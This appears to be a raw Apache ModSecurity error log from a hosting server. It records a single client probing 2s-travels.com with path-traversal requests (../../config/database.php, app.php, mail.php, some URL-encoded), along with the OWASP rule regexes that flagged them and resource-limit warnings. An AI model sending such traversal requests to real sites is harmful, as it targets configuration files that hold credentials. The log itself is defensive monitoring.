[Fri Jul 17 08:55:04.211096 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.211166 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/app.php&token=d9hErFRc5_9xGn_z5VjNJZDvqJD5iW98y5Zd-sUZ4hKwGC0LS_3O0qwZGNkVNDznGWd0ymsJ_aKIpRw0SS36JqJ0MT089uzuXtAW_cEzJyYqkVriq-ihuGMb0heFC54dafC20wsSFBVOZpMLKj0iExzRumFw7yOmYjs3d2W6NZrSjksTA5sGtNTzxbIJzdqwRV9dUYv-xNH4X7n6yppGRyjs3KWD4Hozb1aZ-HHzC9rTx7S4SpmhvDmzCJvDFYlkRFaIJanZDBHzbkxFfmdBGaNS&extra=TJOLI2MGTIRFDUPAJP3HKBTFTIRZGQR72XW5QRSRBJ6RXG527EAG6IPMRNANRVI5XB6JL6CTUO5Y3OE7AM4UPTA2WQ2RFODV6UWQDG66ZYIXBUJAG6IDCQE7I3TUVEVYLZ5INPCWWOP4NIR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.211253 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/app.php&token=d9herfrc5_9xgn_z5vjnjzdvqjd5iw98y5zd-suz4hkwgc0ls_3o0qwzgnkvndzngwd0ymsj_akiprw0ss36jqj0mt089uzuxtaw_cezjyyqkvriq-ihugmb0hefc54dafc20wssfbvozpmlkj0iexzrumfw7yomyjs3d2w6nzrsjksta5sgtntzxbijzdqwrv9duyv-xnh4x7n6yppgryjs3kwd4hozb1az-hhzc9rtx7s4spmhvdmzcjvdfylkrfaijanzdbhzbkxffmdbgans&extra=tjoli2mgtirfdupajp3hkbtftirzgqr72xw5qrsrbj6rxg527eag6ipmrnanrvi5xb6jl6ctuo5y3oe7am4upta2wq2rfodv6uwqdg66zyixbujag6idcqe7i3tuvevylz5inpcwwop4nir..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.211301 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.211347 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.211447 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.213215 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.213418 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.214437 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIwAAABs"]
[Fri Jul 17 08:55:04.214470 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIwAAABs"]
[Fri Jul 17 08:55:04.214528 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIwAAABs"]
[Fri Jul 17 08:55:04.215738 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBIwAAABs"]
[Fri Jul 17 08:55:04.215897 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.216178 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBIwAAABs"]
[Fri Jul 17 08:55:04.216184 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBfwAAAAQ"]
[Fri Jul 17 08:55:04.224804 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2Fconfig%2Fdatabase.php&ts=jt8t76b3n0bwE3UVQKGs5waL0tpGpGJ8SXSY5nQfygn2wL4N8-NUaC2zJJRF-fb30DzZwbe2VL3q4W26Yc-KbT-RXySNF7k5S8EmKdgN1WxTJzFUcPk7kkJSJ9dwyAtKyqhjb2zDrbZr7tP5L0dqSruTc19ZGxMktVBfbKtTjyXEfXgz6-mlQSk85ia4BVEpl6ET0vcnN2JCIKPrUBhV-74McYM_r5vnp4Ii-5pDdDyDoX-YTw4W0-3nT8J_oP1eov1GUyFpb1NS19dFiPaSXmBV&token=KN3NNRVIADPFJOZDDHKQLZDVTZYDNCMV7I2DGSMI5U63HVJOCPEGSSRT5XOTJYKEKZQNYT7GCPXQHPNFK7OVBGG2P7LTCGVOXY2MLPVI2VOHJDEGH5LI6UPWULOPDUS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.224870 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.224943 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/database.php&ts=jt8t76b3n0bwE3UVQKGs5waL0tpGpGJ8SXSY5nQfygn2wL4N8-NUaC2zJJRF-fb30DzZwbe2VL3q4W26Yc-KbT-RXySNF7k5S8EmKdgN1WxTJzFUcPk7kkJSJ9dwyAtKyqhjb2zDrbZr7tP5L0dqSruTc19ZGxMktVBfbKtTjyXEfXgz6-mlQSk85ia4BVEpl6ET0vcnN2JCIKPrUBhV-74McYM_r5vnp4Ii-5pDdDyDoX-YTw4W0-3nT8J_oP1eov1GUyFpb1NS19dFiPaSXmBV&token=KN3NNRVIADPFJOZDDHKQLZDVTZYDNCMV7I2DGSMI5U63HVJOCPEGSSRT5XOTJYKEKZQNYT7GCPXQHPNFK7OVBGG2P7LTCGVOXY2MLPVI2VOHJDEGH5LI6UPWULOPDUSEWGEF6B6S5N6FM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.225038 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?path=../../config/database.php&ts=jt8t76b3n0bwe3uvqkgs5wal0tpgpgj8sxsy5nqfygn2wl4n8-nuac2zjjrf-fb30dzzwbe2vl3q4w26yc-kbt-rxysnf7k5s8emkdgn1wxtjzfucpk7kkjsj9dwyatkyqhjb2zdrbzr7tp5l0dqsrutc19zgxmktvbfbkttjyxefxgz6-mlqsk85ia4bvepl6et0vcnn2jcikprubhv-74mcym_r5vnp4ii-5pdddydox-ytw4w0-3nt8j_op1eov1guyfpb1ns19dfipasxmbv&token=kn3nnrviadpfjozddhkqlzdvtzydncmv7i2dgsmi5u63hvjocpegssrt5xotjykekzqnyt7gcpxqhpnfk7ovbgg2p7ltcgvoxy2mlpvi2vohjdegh5li6upwulopdusewgef6b6s5n6fm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.225102 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.225151 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.225256 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.225415 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJAAAABs"]
[Fri Jul 17 08:55:04.225452 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:path: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJAAAABs"]
[Fri Jul 17 08:55:04.226549 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBJAAAABs"]
[Fri Jul 17 08:55:04.226692 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.226898 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.226996 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBJAAAABs"]
[Fri Jul 17 08:55:04.227061 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.227492 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBJAAAAAY"]
[Fri Jul 17 08:55:04.233828 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?path=..%2F..%2Fconfig%2Fmail.php&extra=HCJen5U0G7ovUMa_pi3kfwTw9po3RNRMMV8nvEigmGKgZeWG5YNLC5ANam4eAVZATA7ADEMC3jKPS5SC1krPG4yRk0W12DqvdXpKiOBcq8YHKaHTJs_QvJnIe43Hs4hmW0dgKiAMYfxv7qi5GS9waacjVVm5nCtVrUByijNJPTtUGqUsr0jyd6ZiRteHeMHHz2owwuDWfuurAwJ9aLZk4u36bH0DLDC__XV9MCignbKo7h0g00Uwo4iXVQ8cpQLmWxY1uS3BDBqoIqEvJZ15sqA0&anything=DNMPBGCWHK57AL5ENBQPETIP2PJFYAH3HABVNOXYYY46DNN2Z6FMRZEROEC65ZXVJOGIAN2YD7SKNBPVJ5ZTAHL5FSOQ6Q525VC5YTFTES3LFE3GHME3VIFI6GRTW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBgAAAAAQ"]
